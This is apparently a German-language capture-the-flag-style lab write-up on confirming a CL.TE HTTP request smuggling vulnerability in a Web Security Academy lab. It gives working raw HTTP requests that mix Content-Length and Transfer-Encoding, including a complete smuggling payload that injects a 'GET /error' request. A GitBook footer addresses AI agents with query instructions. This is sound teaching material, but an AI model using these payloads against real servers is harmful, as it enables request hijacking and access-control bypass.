> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Bestätigung einer CL.TE-Schwachstelle durch differenzielle Antworten

### HTTP-Request-Smuggling, Bestätigung einer CL.TE-Schwachstelle anhand unterschiedlicher Antworten

Dieses Labor verwendet einen Frontend-Server und einen internen Server. Der Frontend-Server **verarbeitet chunked** Encoding. / Das Ziel ist es, zu **eine Anfrage zum Backend zu schmuggeln** so dass die nächste Anfrage an **/** eine Antwort auslöst **404 Not Found**.

> **Hinweis:** Selbst wenn das Labor HTTP/2 akzeptiert, ist die erforderliche Methode nur in HTTP/1 verwendbar. / **Tipp:** Das Burp-Plugin HTTP Request Smuggler hilft dabei, Längen automatisch neu zu berechnen.

#### Erste Beobachtung

Das Frontend interpretiert **Content-Length**, während das Backend auf **Transfer-Encoding**. / Senden einer Minimalanfrage:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Dann steigt die Länge durch Hinzufügen eines Parameters logisch auf 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/f5ca82d79f8a8c99694cc30fc95bc5e8c31299b0" alt=""><figcaption></figcaption></figure>

Um eine automatische Neuberechnung der Länge zu vermeiden, wird ein neuer Header eingeführt.

<figure><img src="/files/9f409913332a1531393182ccf7d83872a588f2fc" alt="" width="392"><figcaption></figcaption></figure>

#### Hinzufügen von *Transfer-Encoding*

Wenn wir hinzufügen:

```http
Transfer-Encoding: chunked
```

gibt der Server einen Desynchronisierungsfehler zurück:

HTTP/1.1 500 Interner Serverfehler

<figure><img src="/files/88993473e18e5346cab42f80fce3d356d50c84d4" alt=""><figcaption></figcaption></figure>

Beim Senden einer gültigen chunked-Nutzlast jedoch:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/8c444bedca9f241c789aedc90c0b2cb801e7410f" alt=""><figcaption></figcaption></figure>

kommt die Antwort zurück in **200 OK**.

<figure><img src="/files/f2d3167d73bdfd13e5012709689ed953f17b386d" alt=""><figcaption></figcaption></figure>

Wir können auch testen:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Einschleusen einer Anfrage in das Backend

Um eine **404**zu erhalten, muss man das Backend dazu zwingen, eine zusätzliche Anfrage zu verarbeiten. / Wenn man hinzufügt:

```http
GET /error HTTP/1.1
Test: A
```

und dass das Backend die geschmuggelte Anfrage korrekt interpretiert, führt es die `GET /error`.

Vollständiges Beispiel:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Test: A
```

Die erste Antwort ist in **200**, aber die nächste vom Browser gesendete Anfrage löst eine **404**, ein Beweis für die Desynchronisierung.

<figure><img src="/files/a7a0456f9f321be8b0d0588c97106a798d774782" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fc31ea35efa8b68391a8cc348fd03d5f8f18ad31" alt=""><figcaption></figcaption></figure>

#### Variante: Eine andere Seite aufrufen

Wenn du möchtest, dass das Backend eine andere Ressource ausführt, zum Beispiel:

```http
GET /post?postId=4 HTTP/1.1
Test: A
```

dann zeigt die Hauptseite den zu Beitrag 4 gehörenden Inhalt an, was bestätigt, dass die geschmuggelte Anfrage vom Backend verarbeitet wurde.

<figure><img src="/files/62d5438d5be8f52dc070ea14deb16fe5a83625d1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
